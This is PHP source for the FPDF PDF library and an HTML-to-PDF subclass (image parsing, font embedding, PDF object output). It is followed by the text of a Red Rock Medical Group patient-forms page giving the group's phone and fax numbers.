				chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>564,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
				chr(220)=>722,chr(221)=>722,chr(222)=>556,chr(223)=>500,chr(224)=>444,chr(225)=>444,chr(226)=>444,chr(227)=>444,chr(228)=>444,chr(229)=>444,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500,
				chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>564,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>500,chr(254)=>500,chr(255)=>500);
	return $a;
}

function _escape($s)
{
	// Escape special characters in strings
	$s = str_replace('\\','\\\\',$s);
	$s = str_replace('(','\\(',$s);
	$s = str_replace(')','\\)',$s);
	$s = str_replace("\r",'\\r',$s);
	return $s;
}

function _textstring($s)
{
	// Format a text string
	return '('.$this->_escape($s).')';
}

function _UTF8toUTF16($s)
{
	// Convert UTF-8 to UTF-16BE with BOM
	$res = "\xFE\xFF";
	$nb = strlen($s);
	$i = 0;
	while($i<$nb)
	{
		$c1 = ord($s[$i++]);
		if($c1>=224)
		{
			// 3-byte character
			$c2 = ord($s[$i++]);
			$c3 = ord($s[$i++]);
			$res .= chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2));
			$res .= chr((($c2 & 0x03)<<6) + ($c3 & 0x3F));
		}
		elseif($c1>=192)
		{
			// 2-byte character
			$c2 = ord($s[$i++]);
			$res .= chr(($c1 & 0x1C)>>2);
			$res .= chr((($c1 & 0x03)<<6) + ($c2 & 0x3F));
		}
		else
		{
			// Single-byte character
			$res .= "\0".chr($c1);
		}
	}
	return $res;
}

function _dounderline($x, $y, $txt)
{
	// Underline text
	$up = $this->CurrentFont['up'];
	$ut = $this->CurrentFont['ut'];
	$w = $this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
	return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
}

function _parsejpg($file)
{
	// Extract info from a JPEG file
	$a = getimagesize($file);
	if(!$a)
		$this->Error('Missing or incorrect image file: '.$file);
	if($a[2]!=2)
		$this->Error('Not a JPEG file: '.$file);
	if(!isset($a['channels']) || $a['channels']==3)
		$colspace = 'DeviceRGB';
	elseif($a['channels']==4)
		$colspace = 'DeviceCMYK';
	else
		$colspace = 'DeviceGray';
	$bpc = isset($a['bits']) ? $a['bits'] : 8;
	$data = file_get_contents($file);
	return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data);
}

function _parsepng($file)
{
	// Extract info from a PNG file
	$f = fopen($file,'rb');
	if(!$f)
		$this->Error('Can\'t open image file: '.$file);
	$info = $this->_parsepngstream($f,$file);
	fclose($f);
	return $info;
}

function _parsepngstream($f, $file)
{
	// Check signature
	if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
		$this->Error('Not a PNG file: '.$file);

	// Read header chunk
	$this->_readstream($f,4);
	if($this->_readstream($f,4)!='IHDR')
		$this->Error('Incorrect PNG file: '.$file);
	$w = $this->_readint($f);
	$h = $this->_readint($f);
	$bpc = ord($this->_readstream($f,1));
	if($bpc>8)
		$this->Error('16-bit depth not supported: '.$file);
	$ct = ord($this->_readstream($f,1));
	if($ct==0 || $ct==4)
		$colspace = 'DeviceGray';
	elseif($ct==2 || $ct==6)
		$colspace = 'DeviceRGB';
	elseif($ct==3)
		$colspace = 'Indexed';
	else
		$this->Error('Unknown color type: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Unknown compression method: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Unknown filter method: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Interlacing not supported: '.$file);
	$this->_readstream($f,4);
	$dp = '/Predictor 15 /Colors '.($colspace=='DeviceRGB' ? 3 : 1).' /BitsPerComponent '.$bpc.' /Columns '.$w;

	// Scan chunks looking for palette, transparency and image data
	$pal = '';
	$trns = '';
	$data = '';
	do
	{
		$n = $this->_readint($f);
		$type = $this->_readstream($f,4);
		if($type=='PLTE')
		{
			// Read palette
			$pal = $this->_readstream($f,$n);
			$this->_readstream($f,4);
		}
		elseif($type=='tRNS')
		{
			// Read transparency info
			$t = $this->_readstream($f,$n);
			if($ct==0)
				$trns = array(ord(substr($t,1,1)));
			elseif($ct==2)
				$trns = array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
			else
			{
				$pos = strpos($t,chr(0));
				if($pos!==false)
					$trns = array($pos);
			}
			$this->_readstream($f,4);
		}
		elseif($type=='IDAT')
		{
			// Read image data block
			$data .= $this->_readstream($f,$n);
			$this->_readstream($f,4);
		}
		elseif($type=='IEND')
			break;
		else
			$this->_readstream($f,$n+4);
	}
	while($n);

	if($colspace=='Indexed' && empty($pal))
		$this->Error('Missing palette in '.$file);
	$info = array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'dp'=>$dp, 'pal'=>$pal, 'trns'=>$trns);
	if($ct>=4)
	{
		// Extract alpha channel
		if(!function_exists('gzuncompress'))
			$this->Error('Zlib not available, can\'t handle alpha channel: '.$file);
		$data = gzuncompress($data);
		$color = '';
		$alpha = '';
		if($ct==4)
		{
			// Gray image
			$len = 2*$w;
			for($i=0;$i<$h;$i++)
			{
				$pos = (1+$len)*$i;
				$color .= $data[$pos];
				$alpha .= $data[$pos];
				$line = substr($data,$pos+1,$len);
				$color .= preg_replace('/(.)./s','$1',$line);
				$alpha .= preg_replace('/.(.)/s','$1',$line);
			}
		}
		else
		{
			// RGB image
			$len = 4*$w;
			for($i=0;$i<$h;$i++)
			{
				$pos = (1+$len)*$i;
				$color .= $data[$pos];
				$alpha .= $data[$pos];
				$line = substr($data,$pos+1,$len);
				$color .= preg_replace('/(.{3})./s','$1',$line);
				$alpha .= preg_replace('/.{3}(.)/s','$1',$line);
			}
		}
		unset($data);
		$data = gzcompress($color);
		$info['smask'] = gzcompress($alpha);
		if($this->PDFVersion<'1.4')
			$this->PDFVersion = '1.4';
	}
	$info['data'] = $data;
	return $info;
}

function _readstream($f, $n)
{
	// Read n bytes from stream
	$res = '';
	while($n>0 && !feof($f))
	{
		$s = fread($f,$n);
		if($s===false)
			$this->Error('Error while reading stream');
		$n -= strlen($s);
		$res .= $s;
	}
	if($n>0)
		$this->Error('Unexpected end of stream');
	return $res;
}

function _readint($f)
{
	// Read a 4-byte integer from stream
	$a = unpack('Ni',$this->_readstream($f,4));
	return $a['i'];
}

function _parsegif($file)
{
	// Extract info from a GIF file (via PNG conversion)
	if(!function_exists('imagepng'))
		$this->Error('GD extension is required for GIF support');
	if(!function_exists('imagecreatefromgif'))
		$this->Error('GD has no GIF read support');
	$im = imagecreatefromgif($file);
	if(!$im)
		$this->Error('Missing or incorrect image file: '.$file);
	imageinterlace($im,0);
	$f = @fopen('php://temp','rb+');
	if($f)
	{
		// Perform conversion in memory
		ob_start();
		imagepng($im);
		$data = ob_get_clean();
		imagedestroy($im);
		fwrite($f,$data);
		rewind($f);
		$info = $this->_parsepngstream($f,$file);
		fclose($f);
	}
	else
	{
		// Use temporary file
		$tmp = tempnam('.','gif');
		if(!$tmp)
			$this->Error('Unable to create a temporary file');
		if(!imagepng($im,$tmp))
			$this->Error('Error while saving to temporary file');
		imagedestroy($im);
		$info = $this->_parsepng($tmp);
		unlink($tmp);
	}
	return $info;
}

function _newobj()
{
	// Begin a new object
	$this->n++;
	$this->offsets[$this->n] = strlen($this->buffer);
	$this->_out($this->n.' 0 obj');
}

function _putstream($s)
{
	$this->_out('stream');
	$this->_out($s);
	$this->_out('endstream');
}

function _out($s)
{
	// Add a line to the document
	if($this->state==2)
		$this->pages[$this->page] .= $s."\n";
	else
		$this->buffer .= $s."\n";
}

function _putpages()
{
	$nb = $this->page;
	if(!empty($this->AliasNbPages))
	{
		// Replace number of pages
		for($n=1;$n<=$nb;$n++)
			$this->pages[$n] = str_replace($this->AliasNbPages,$nb,$this->pages[$n]);
	}
	if($this->DefOrientation=='P')
	{
		$wPt = $this->DefPageSize[0]*$this->k;
		$hPt = $this->DefPageSize[1]*$this->k;
	}
	else
	{
		$wPt = $this->DefPageSize[1]*$this->k;
		$hPt = $this->DefPageSize[0]*$this->k;
	}
	$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
	for($n=1;$n<=$nb;$n++)
	{
		// Page
		$this->_newobj();
		$this->_out('<</Type /Page');
		$this->_out('/Parent 1 0 R');
		if(isset($this->PageSizes[$n]))
			$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1]));
		$this->_out('/Resources 2 0 R');
		if(isset($this->PageLinks[$n]))
		{
			// Links
			$annots = '/Annots [';
			foreach($this->PageLinks[$n] as $pl)
			{
				$rect = sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
				$annots .= '<</Type /Annot /Subtype /Link /Rect ['.$rect.'] /Border [0 0 0] ';
				if(is_string($pl[4]))
					$annots .= '/A <</S /URI /URI '.$this->_textstring($pl[4]).'>>>>';
				else
				{
					$l = $this->links[$pl[4]];
					$h = isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt;
					$annots .= sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k);
				}
			}
			$this->_out($annots.']');
		}
		if($this->PDFVersion>'1.3')
			$this->_out('/Group <</Type /Group /S /Transparency /CS /DeviceRGB>>');
		$this->_out('/Contents '.($this->n+1).' 0 R>>');
		$this->_out('endobj');
		// Page content
		$p = ($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n];
		$this->_newobj();
		$this->_out('<<'.$filter.'/Length '.strlen($p).'>>');
		$this->_putstream($p);
		$this->_out('endobj');
	}
	// Pages root
	$this->offsets[1] = strlen($this->buffer);
	$this->_out('1 0 obj');
	$this->_out('<</Type /Pages');
	$kids = '/Kids [';
	for($i=0;$i<$nb;$i++)
		$kids .= (3+2*$i).' 0 R ';
	$this->_out($kids.']');
	$this->_out('/Count '.$nb);
	$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt));
	$this->_out('>>');
	$this->_out('endobj');
}

function _putfonts()
{
	$nf = $this->n;
	foreach($this->diffs as $diff)
	{
		// Encodings
		$this->_newobj();
		$this->_out('<</Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.']>>');
		$this->_out('endobj');
	}
	foreach($this->FontFiles as $file=>$info)
	{
		// Font file embedding
		$this->_newobj();
		$this->FontFiles[$file]['n'] = $this->n;
		$font = file_get_contents($this->fontpath.$file,true);
		if(!$font)
			$this->Error('Font file not found: '.$file);
		$compressed = (substr($file,-2)=='.z');
		if(!$compressed && isset($info['length2']))
			$font = substr($font,6,$info['length1']).substr($font,6+$info['length1']+6,$info['length2']);
		$this->_out('<</Length '.strlen($font));
		if($compressed)
			$this->_out('/Filter /FlateDecode');
		$this->_out('/Length1 '.$info['length1']);
		if(isset($info['length2']))
			$this->_out('/Length2 '.$info['length2'].' /Length3 0');
		$this->_out('>>');
		$this->_putstream($font);
		$this->_out('endobj');
	}
	foreach($this->fonts as $k=>$font)
	{
		// Font objects
		$this->fonts[$k]['n'] = $this->n+1;
		$type = $font['type'];
		$name = $font['name'];
		if($type=='Core')
		{
			// Core font
			$this->_newobj();
			$this->_out('<</Type /Font');
			$this->_out('/BaseFont /'.$name);
			$this->_out('/Subtype /Type1');
			if($name!='Symbol' && $name!='ZapfDingbats')
				$this->_out('/Encoding /WinAnsiEncoding');
			$this->_out('>>');
			$this->_out('endobj');
		}
		elseif($type=='Type1' || $type=='TrueType')
		{
			// Additional Type1 or TrueType/OpenType font
			$this->_newobj();
			$this->_out('<</Type /Font');
			$this->_out('/BaseFont /'.$name);
			$this->_out('/Subtype /'.$type);
			$this->_out('/FirstChar 32 /LastChar 255');
			$this->_out('/Widths '.($this->n+1).' 0 R');
			$this->_out('/FontDescriptor '.($this->n+2).' 0 R');
			if(isset($font['diffn']))
				$this->_out('/Encoding '.($nf+$font['diffn']).' 0 R');
			else
				$this->_out('/Encoding /WinAnsiEncoding');
			$this->_out('>>');
			$this->_out('endobj');
			// Widths
			$this->_newobj();
			$cw = &$font['cw'];
			$s = '[';
			for($i=32;$i<=255;$i++)
				$s .= $cw[chr($i)].' ';
			$this->_out($s.']');
			$this->_out('endobj');
			// Descriptor
			$this->_newobj();
			$s = '<</Type /FontDescriptor /FontName /'.$name;
			foreach($font['desc'] as $k=>$v)
				$s .= ' /'.$k.' '.$v;
			if(!empty($font['file']))
				$s .= ' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';
			$this->_out($s.'>>');
			$this->_out('endobj');
		}
		else
		{
			// Allow for additional types
			$mtd = '_put'.strtolower($type);
			if(!method_exists($this,$mtd))
				$this->Error('Unsupported font type: '.$type);
			$this->$mtd($font);
		}
	}
}

function _putimages()
{
	foreach(array_keys($this->images) as $file)
	{
		$this->_putimage($this->images[$file]);
		unset($this->images[$file]['data']);
		unset($this->images[$file]['smask']);
	}
}

function _putimage(&$info)
{
	$this->_newobj();
	$info['n'] = $this->n;
	$this->_out('<</Type /XObject');
	$this->_out('/Subtype /Image');
	$this->_out('/Width '.$info['w']);
	$this->_out('/Height '.$info['h']);
	if($info['cs']=='Indexed')
		$this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
	else
	{
		$this->_out('/ColorSpace /'.$info['cs']);
		if($info['cs']=='DeviceCMYK')
			$this->_out('/Decode [1 0 1 0 1 0 1 0]');
	}
	$this->_out('/BitsPerComponent '.$info['bpc']);
	if(isset($info['f']))
		$this->_out('/Filter /'.$info['f']);
	if(isset($info['dp']))
		$this->_out('/DecodeParms <<'.$info['dp'].'>>');
	if(isset($info['trns']) && is_array($info['trns']))
	{
		$trns = '';
		for($i=0;$i<count($info['trns']);$i++)
			$trns .= $info['trns'][$i].' '.$info['trns'][$i].' ';
		$this->_out('/Mask ['.$trns.']');
	}
	if(isset($info['smask']))
		$this->_out('/SMask '.($this->n+1).' 0 R');
	$this->_out('/Length '.strlen($info['data']).'>>');
	$this->_putstream($info['data']);
	$this->_out('endobj');
	// Soft mask
	if(isset($info['smask']))
	{
		$dp = '/Predictor 15 /Colors 1 /BitsPerComponent 8 /Columns '.$info['w'];
		$smask = array('w'=>$info['w'], 'h'=>$info['h'], 'cs'=>'DeviceGray', 'bpc'=>8, 'f'=>$info['f'], 'dp'=>$dp, 'data'=>$info['smask']);
		$this->_putimage($smask);
	}
	// Palette
	if($info['cs']=='Indexed')
	{
		$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
		$pal = ($this->compress) ? gzcompress($info['pal']) : $info['pal'];
		$this->_newobj();
		$this->_out('<<'.$filter.'/Length '.strlen($pal).'>>');
		$this->_putstream($pal);
		$this->_out('endobj');
	}
}

function _putxobjectdict()
{
	foreach($this->images as $image)
		$this->_out('/I'.$image['i'].' '.$image['n'].' 0 R');
}

function _putresourcedict()
{
	$this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
	$this->_out('/Font <<');
	foreach($this->fonts as $font)
		$this->_out('/F'.$font['i'].' '.$font['n'].' 0 R');
	$this->_out('>>');
	$this->_out('/XObject <<');
	$this->_putxobjectdict();
	$this->_out('>>');
}

function _putresources()
{
	$this->_putfonts();
	$this->_putimages();
	// Resource dictionary
	$this->offsets[2] = strlen($this->buffer);
	$this->_out('2 0 obj');
	$this->_out('<<');
	$this->_putresourcedict();
	$this->_out('>>');
	$this->_out('endobj');
}

function _putinfo()
{
	$this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION));
	if(!empty($this->title))
		$this->_out('/Title '.$this->_textstring($this->title));
	if(!empty($this->subject))
		$this->_out('/Subject '.$this->_textstring($this->subject));
	if(!empty($this->author))
		$this->_out('/Author '.$this->_textstring($this->author));
	if(!empty($this->keywords))
		$this->_out('/Keywords '.$this->_textstring($this->keywords));
	if(!empty($this->creator))
		$this->_out('/Creator '.$this->_textstring($this->creator));
	$this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis')));
}

function _putcatalog()
{
	$this->_out('/Type /Catalog');
	$this->_out('/Pages 1 0 R');
	if($this->ZoomMode=='fullpage')
		$this->_out('/OpenAction [3 0 R /Fit]');
	elseif($this->ZoomMode=='fullwidth')
		$this->_out('/OpenAction [3 0 R /FitH null]');
	elseif($this->ZoomMode=='real')
		$this->_out('/OpenAction [3 0 R /XYZ null null 1]');
	elseif(!is_string($this->ZoomMode))
		$this->_out('/OpenAction [3 0 R /XYZ null null '.sprintf('%.2F',$this->ZoomMode/100).']');
	if($this->LayoutMode=='single')
		$this->_out('/PageLayout /SinglePage');
	elseif($this->LayoutMode=='continuous')
		$this->_out('/PageLayout /OneColumn');
	elseif($this->LayoutMode=='two')
		$this->_out('/PageLayout /TwoColumnLeft');
}

function _putheader()
{
	$this->_out('%PDF-'.$this->PDFVersion);
}

function _puttrailer()
{
	$this->_out('/Size '.($this->n+1));
	$this->_out('/Root '.$this->n.' 0 R');
	$this->_out('/Info '.($this->n-1).' 0 R');
}

function _enddoc()
{
	$this->_putheader();
	$this->_putpages();
	$this->_putresources();
	// Info
	$this->_newobj();
	$this->_out('<<');
	$this->_putinfo();
	$this->_out('>>');
	$this->_out('endobj');
	// Catalog
	$this->_newobj();
	$this->_out('<<');
	$this->_putcatalog();
	$this->_out('>>');
	$this->_out('endobj');
	// Cross-ref
	$o = strlen($this->buffer);
	$this->_out('xref');
	$this->_out('0 '.($this->n+1));
	$this->_out('0000000000 65535 f ');
	for($i=1;$i<=$this->n;$i++)
		$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));
	// Trailer
	$this->_out('trailer');
	$this->_out('<<');
	$this->_puttrailer();
	$this->_out('>>');
	$this->_out('startxref');
	$this->_out($o);
	$this->_out('%%EOF');
	$this->state = 3;
}
// End of class
}

function hex2dec($couleur = "#000000"){
    $R = substr($couleur, 1, 2);
    $rouge = hexdec($R);
    $V = substr($couleur, 3, 2);
    $vert = hexdec($V);
    $B = substr($couleur, 5, 2);
    $bleu = hexdec($B);
    $tbl_couleur = array();
    $tbl_couleur['R']=$rouge;
    $tbl_couleur['V']=$vert;
    $tbl_couleur['B']=$bleu;
    return $tbl_couleur;
}

//conversion pixel -> millimeter at 72 dpi
function px2mm($px){
    return $px*25.4/72;
}

function txtentities($html){
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans = array_flip($trans);
    return strtr($html, $trans);
}
////////////////////////////////////

class PDF_HTML extends FPDF
{
//variables of html parser
var $B;
var $I;
var $U;
var $HREF;
var $fontList;
var $issetfont;
var $issetcolor;

function PDF_HTML($orientation='P', $unit='mm', $format='A4')
{
    //Call parent constructor
    $this->FPDF($orientation,$unit,$format);
    //Initialization
    $this->B=0;
    $this->I=0;
    $this->U=0;
    $this->HREF='';
    $this->fontlist=array('arial', 'times', 'courier', 'helvetica', 'symbol');
    $this->issetfont=false;
    $this->issetcolor=false;
}

function WriteHTML($html)
{
    //HTML parser
    $html=strip_tags($html,"<b><u><i><a><img><p><br><strong><em><font><tr><blockquote>"); //supprime tous les tags sauf ceux reconnus
    $html=str_replace("\n",' ',$html); //remplace retour a la ligne par un espace
    $a=preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE); //eclate la chaine avec les balises
    foreach($a as $i=>$e)
    {
        if($i%2==0)
        {
            //Text
            if($this->HREF)
                $this->PutLink($this->HREF,$e);
            else
                $this->Write(5,stripslashes(txtentities($e)));
        }
        else
        {
            //Tag
            if($e[0]=='/')
                $this->CloseTag(strtoupper(substr($e,1)));
            else
            {
                //Extract attributes
                $a2=explode(' ',$e);
                $tag=strtoupper(array_shift($a2));
                $attr=array();
                foreach($a2 as $v)
                {
                    if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3))
                        $attr[strtoupper($a3[1])]=$a3[2];
                }
                $this->OpenTag($tag,$attr);
            }
        }
    }
}

function OpenTag($tag, $attr)
{
    //Opening tag
    switch($tag){
        case 'STRONG':
            $this->SetStyle('B',true);
            break;
        case 'EM':
            $this->SetStyle('I',true);
            break;
        case 'B':
        case 'I':
        case 'U':
            $this->SetStyle($tag,true);
            break;
        case 'A':
            $this->HREF=$attr['HREF'];
            break;
        case 'IMG':
            if(isset($attr['SRC']) && (isset($attr['WIDTH']) || isset($attr['HEIGHT']))) {
                if(!isset($attr['WIDTH']))
                    $attr['WIDTH'] = 0;
                if(!isset($attr['HEIGHT']))
                    $attr['HEIGHT'] = 0;
                $this->Image($attr['SRC'], $this->GetX(), $this->GetY(), px2mm($attr['WIDTH']), px2mm($attr['HEIGHT']));
            }
            break;
        case 'TR':
        case 'BLOCKQUOTE':
        case 'BR':
            $this->Ln(5);
            break;
        case 'P':
            $this->Ln(10);
            break;
        case 'FONT':
            if (isset($attr['COLOR']) && $attr['COLOR']!='') {
                $coul=hex2dec($attr['COLOR']);
                $this->SetTextColor($coul['R'],$coul['V'],$coul['B']);
                $this->issetcolor=true;
            }
            if (isset($attr['FACE']) && in_array(strtolower($attr['FACE']), $this->fontlist)) {
                $this->SetFont(strtolower($attr['FACE']));
                $this->issetfont=true;
            }
            break;
    }
}

function CloseTag($tag)
{
    //Closing tag
    if($tag=='STRONG')
        $tag='B';
    if($tag=='EM')
        $tag='I';
    if($tag=='B' || $tag=='I' || $tag=='U')
        $this->SetStyle($tag,false);
    if($tag=='A')
        $this->HREF='';
    if($tag=='FONT'){
        if ($this->issetcolor==true) {
            $this->SetTextColor(0);
        }
        if ($this->issetfont) {
            $this->SetFont('arial');
            $this->issetfont=false;
        }
    }
}

function SetStyle($tag, $enable)
{
    //Modify style and select corresponding font
    $this->$tag+=($enable ? 1 : -1);
    $style='';
    foreach(array('B','I','U') as $s)
    {
        if($this->$s>0)
            $style.=$s;
    }
    $this->SetFont('',$style);
}

function PutLink($URL, $txt)
{
    //Put a hyperlink
    $this->SetTextColor(0,0,255);
    $this->SetStyle('U',true);
    $this->Write(5,$txt,$URL);
    $this->SetStyle('U',false);
    $this->SetTextColor(0);
}

}//end of class
?>
Las Vegas Doctors - Physicians - Patient Forms | Red Rock Medical Group Las Vegas Doctors - Physicians - Patient Forms | Red Rock Medical Group
Dropdown button for navigation mobile view
(702) 877-9514

5701 W. Charleston Blvd, #100
Las Vegas, Nevada 89146

Forms

New patients:

We strive to make it as easy as possible to visit our Las Vegas and North Las Vegas medical center locations. Please print the following forms and fill out completely. Return to Red Rock Medical after completion. This will be one less step you will have to complete when you visit our doctors’ offices.

 

You may also fax completed forms to:

Eldorado Medical Center @ 702-649-3709

Redrock Medical Group @ 702-877-0399

 

 

 

Translate »